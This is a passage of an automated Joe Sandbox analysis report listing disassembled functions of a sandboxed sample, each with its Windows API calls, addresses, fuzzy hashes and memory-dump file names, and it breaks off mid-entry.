Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: d6d43aeb55e94851ab491fdb28966b434f67d4d61d1640c98c1e2dd87479848a
Instruction ID: 433fae251bf93c34df21886206db8da64c00b6a4d7ce90a077012e00e9ee309d
Opcode Fuzzy Hash: d6d43aeb55e94851ab491fdb28966b434f67d4d61d1640c98c1e2dd87479848a
Instruction Fuzzy Hash: 34310670508346DFEF25DB34D809BB67FA8FB86304F08046AE862D25A0E3F49685DB91

Function 0083CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,0083C21E,00000000), ref: 0083CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 0083CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,0083C21E,00000000), ref: 0083CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,0083C21E,00000000), ref: 0083CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,0083C21E,00000000), ref: 0083CFF2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: b2a36223a550c006ad4bd1bd903dee1f3d7e57307f49285d91785c2fe0676fc0
Instruction ID: 43d6b3dbdce73e584282f2b181642544464580551f0bdf31bcf71047d4ee2ee7
Opcode Fuzzy Hash: b2a36223a550c006ad4bd1bd903dee1f3d7e57307f49285d91785c2fe0676fc0
Instruction Fuzzy Hash: 99313A71600709EFDB20DFA5C8849AABBF9FB54355F10442EE506E2241DB74AE419BA0

Function 00821901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00821915
PostMessageW.USER32(00000001,00000201,00000001), ref: 008219C1
Sleep.KERNEL32(00000000,?,?,?), ref: 008219C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 008219DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 008219E2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 482e5714fe81da1d791e86ea98de9b351047bee348a4c8c5de465cae182133a4
Instruction ID: 6003c4fcab7b3875b63584d6e356ab33dbd48247e44e398b5cba1a154ce39ea9
Opcode Fuzzy Hash: 482e5714fe81da1d791e86ea98de9b351047bee348a4c8c5de465cae182133a4
Instruction Fuzzy Hash: 60319C71A00229EFCB00CFA8D99DA9E7BB5FB14315F204229F921E72D1C7709A84CB90

Function 00855706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00855745
SendMessageW.USER32(?,00001074,?,00000001), ref: 0085579D
_wcslen.LIBCMT ref: 008557AF
_wcslen.LIBCMT ref: 008557BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00855816

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: e81af5807344a4929e8ea26ed912c052deca3d92690b5f52520e54c7581a74c2
Instruction ID: 04758a8592c7ddba432d8f8bbfe16a9a1aa9ce52a40b5bb47db7bfdc97198de4
Opcode Fuzzy Hash: e81af5807344a4929e8ea26ed912c052deca3d92690b5f52520e54c7581a74c2
Instruction Fuzzy Hash: C721B671904618DBDB209FA0DC84AEE7BB9FF04326F108256FD29EB180D7749A89CF50

Function 007D990F Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 007D98CC
SetTextColor.GDI32(?,?), ref: 007D98D6
SetBkMode.GDI32(?,00000001), ref: 007D98E9
GetStockObject.GDI32(00000005), ref: 007D98F1
GetWindowLongW.USER32(?,000000EB), ref: 007D9952

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Color$LongModeObjectStockTextWindow
String ID:
API String ID: 1860813098-0
Opcode ID: 113f3c7c4175d095e63c7cca875cc2500082514d7c674bdcb800118874a6354b
Instruction ID: 6c3bd15fac99ba27b16da6a12ad5fe53bac310ac133d954ecc7888ff119c3c24
Opcode Fuzzy Hash: 113f3c7c4175d095e63c7cca875cc2500082514d7c674bdcb800118874a6354b
Instruction Fuzzy Hash: 5E21F6714453909FCB114F24ECA8BE53FB4AF67722F18418EE6D28B2A2D7396991DF10

Function 00840930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00840951
GetForegroundWindow.USER32 ref: 00840968
GetDC.USER32(00000000), ref: 008409A4
GetPixel.GDI32(00000000,?,00000003), ref: 008409B0
ReleaseDC.USER32(00000000,00000003), ref: 008409E8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: ea7baf9b8e8563f13c017a409080604a4ee89d808c507346f9877b938dc771e3
Instruction ID: 5feab19f172e2a157ba23acba481e9e0704f8b8346f1e2369203c86be98f9148
Opcode Fuzzy Hash: ea7baf9b8e8563f13c017a409080604a4ee89d808c507346f9877b938dc771e3
Instruction Fuzzy Hash: 76215E35A00214AFD704EF69D889AAEBBE5FF48701F04846CE84AD7752CA34AD04CF90

Function 007FCDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 007FCDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007FCDE9

Part of subcall function 007F3820: RtlAllocateHeap.NTDLL(00000000,?,00891444,?,007DFDF5,?,?,007CA976,00000010,00891440,007C13FC,?,007C13C6,?,007C1129), ref: 007F3852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 007FCE0F
_free.LIBCMT ref: 007FCE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 007FCE31

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: c5c4377698c40a5cca6f1c963d0089b9db2140fe9c5a75aecf606609ea95a577
Instruction ID: 2dd39d26fa96b5d0ea6bf42ef8afcbdc20bf4927922c2ac97548dae54f06f957
Opcode Fuzzy Hash: c5c4377698c40a5cca6f1c963d0089b9db2140fe9c5a75aecf606609ea95a577
Instruction Fuzzy Hash: F4018472A0171D7F23221AB66D8CDBB796DEEC6BA1315012DFA05D7301EA6D8D0195F0

Function 007D9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 007D9693
SelectObject.GDI32(?,00000000), ref: 007D96A2
BeginPath.GDI32(?), ref: 007D96B9
SelectObject.GDI32(?,00000000), ref: 007D96E2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: df9e92dcdc1af6fe69215619716cace11b226a9f0a52555dc12bddd3e36186ab
Instruction ID: d86df606e073bfdd567d7daa37d796d1dac06124dbc2e54dabb1268f7c2af874
Opcode Fuzzy Hash: df9e92dcdc1af6fe69215619716cace11b226a9f0a52555dc12bddd3e36186ab
Instruction Fuzzy Hash: 5A215E30806306EFDF11AF65EC187A97FB8BB50366F984217F511A62B0D3799892CF94

Function 00825711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00825726
_memcmp.LIBVCRUNTIME ref: 00825744
_memcmp.LIBVCRUNTIME ref: 00825757
_memcmp.LIBVCRUNTIME ref: 0082576F
_memcmp.LIBVCRUNTIME ref: 00825787

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a41b76d6546ab49039c907c2c37a7802e0959804ba92bc35303e2228d9729d8e
Instruction ID: dfeb58b4bcc09ce28ae484b29b1b0c6ae9f5d4f5a7f6124f5bd00c8ff50e0b82
Opcode Fuzzy Hash: a41b76d6546ab49039c907c2c37a7802e0959804ba92bc35303e2228d9729d8e
Instruction Fuzzy Hash: 3E01F5716C2669FFD2089115AE86FBB734DFB243A9F404030FE04DA242F734ED5482A1

Function 007F2DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,007EF2DE,007F3863,00891444,?,007DFDF5,?,?,007CA976,00000010,00891440,007C13FC,?,007C13C6), ref: 007F2DFD
_free.LIBCMT ref: 007F2E32
_free.LIBCMT ref: 007F2E59
SetLastError.KERNEL32(00000000,007C1129), ref: 007F2E66
SetLastError.KERNEL32(00000000,007C1129), ref: 007F2E6F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 11b1492a215e0967ae2e3ce84aaf897ee3df38b9572e1d53f0f7b541412e9d8e
Instruction ID: 3398ad435ec4d23e38243023221c4ee450bd55c791aa2c230f0f85f8d018e4ed
Opcode Fuzzy Hash: 11b1492a215e0967ae2e3ce84aaf897ee3df38b9572e1d53f0f7b541412e9d8e
Instruction Fuzzy Hash: 2301F43624570CEBC61267746C8DD7B2A59BBC17B5B340129FB21E23A3EA7C8C034520

Function 0082000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?,?,?,0082035E), ref: 0082002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?,?), ref: 00820046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?,?), ref: 00820054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?), ref: 00820064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?,?), ref: 00820070

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 9b53beaf9ce4bc521a4243136f7655acf0a61b81b3992b8889a742f7350980e8
Instruction ID: 232f63ac15f5abd6575653fa9d3b1e5e76d3cad68122e55b567d3de37124282c
Opcode Fuzzy Hash: 9b53beaf9ce4bc521a4243136f7655acf0a61b81b3992b8889a742f7350980e8
Instruction Fuzzy Hash: 2601A276A00724BFEB104F68EC44BAA7AEDFF44752F144124F905D2222E775DD808FA0

Function 0082E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0082E997
QueryPerformanceFrequency.KERNEL32(?), ref: 0082E9A5
Sleep.KERNEL32(00000000), ref: 0082E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 0082E9B7
Sleep.KERNEL32 ref: 0082E9F3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: c10bf463f27f2a538d25b6879a1a78c8412d26c20016ed73b5c6feba069e9622
Instruction ID: fdc7a1f8d45e2e8203036776ad561e489e67a4b65a1f2d2fafd032fd18b0f6b9
Opcode Fuzzy Hash: c10bf463f27f2a538d25b6879a1a78c8412d26c20016ed73b5c6feba069e9622
Instruction Fuzzy Hash: ED010531C01A3DDBCF40ABE5E859AEDBB78FB09701F000556E502F2291CB3495948BA6

Function 008210F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00821114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 00821120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 0082112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 00821136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0082114D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 44a7f7026a636921c767a8ec5fdff2bf55f566764a6c5ae5db0e77e55be6fce3
Instruction ID: 3569eec15e3533e4d67b25a3f4af53c2c52a85fb0f3c77e6595099df428b8953
Opcode Fuzzy Hash: 44a7f7026a636921c767a8ec5fdff2bf55f566764a6c5ae5db0e77e55be6fce3
Instruction Fuzzy Hash: 97014675200315BFDB114BA8EC4DA6A3FAEFF892A1B200418FA41D2360EA35DC50CE60

Function 00820FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00820FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00820FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00820FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00820FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00821002

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 90389e75299a2ab56ca4404f1d2f52bd7c73eefa4457d6b6bd2dadd6ffefe834
Instruction ID: e94f0386d9b3379d889e94b37a777506565b4c839b2d7478b123d39492115a00
Opcode Fuzzy Hash: 90389e75299a2ab56ca4404f1d2f52bd7c73eefa4457d6b6bd2dadd6ffefe834
Instruction Fuzzy Hash: DDF04935240B15AFDB214FA5AC4DF5A3BADFF89B62F604414FA46C6291CA74DC808E60

Function 00821014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0082102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00821036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00821045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0082104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00821062

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: ab714eef816441c8fd6ea2b6e60cbbfa141733c05142948490fb4be0a32990ff
Instruction ID: cc6a4774cab0dd0a848ff6bb902f8d3644910f751a61712b16a37118e4d3ec68
Opcode Fuzzy Hash: ab714eef816441c8fd6ea2b6e60cbbfa141733c05142948490fb4be0a32990ff
Instruction Fuzzy Hash: 55F04935240B55AFDB219FA5EC4DF5A3BADFF89762F200414FA46C6290CA74D8808E60

Function 0083030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,0083017D,?,008332FC,?,00000001,00802592,?), ref: 00830324
CloseHandle.KERNEL32(?,?,?,?,0083017D,?,008332FC,?,00000001,00802592,?), ref: 00830331
CloseHandle.KERNEL32(?,?,?,?,0083017D,?,008332FC,?,00000001,00802592,?), ref: 0083033E
CloseHandle.KERNEL32(?,?,?,?,0083017D,?,008332FC,?,00000001,00802592,?), ref: 0083034B
CloseHandle.KERNEL32(?,?,?,?,0083017D,?,008332FC,?,00000001,00802592,?), ref: 00830358
CloseHandle.KERNEL32(?,?,?,?,0083017D,?,008332FC,?,00000001,00802592,?), ref: 00830365

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: f9ed309813edaf03c1a124d14681fb5d975231f5aff9e740aec149f0d7083591
Instruction ID: 0032c67647c106c7a78eaedce86665800cc18e94ae45d8238dcdfcf610c3fd0a
Opcode Fuzzy Hash: f9ed309813edaf03c1a124d14681fb5d975231f5aff9e740aec149f0d7083591
Instruction Fuzzy Hash: C801A272800B159FCB309F66D890412F7F9FF903157158A3FD19692A31C371A954CF80

Function 007FD73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007FD752

Part of subcall function 007F29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000), ref: 007F29DE
Part of subcall function 007F29C8: GetLastError.KERNEL32(00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000,00000000), ref: 007F29F0

_free.LIBCMT ref: 007FD764
_free.LIBCMT ref: 007FD776
_free.LIBCMT ref: 007FD788
_free.LIBCMT ref: 007FD79A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 629525ab6f0a0bc8770618741b5fc5bef7dd84ecbbaabc0474d4b72d0c84ef16
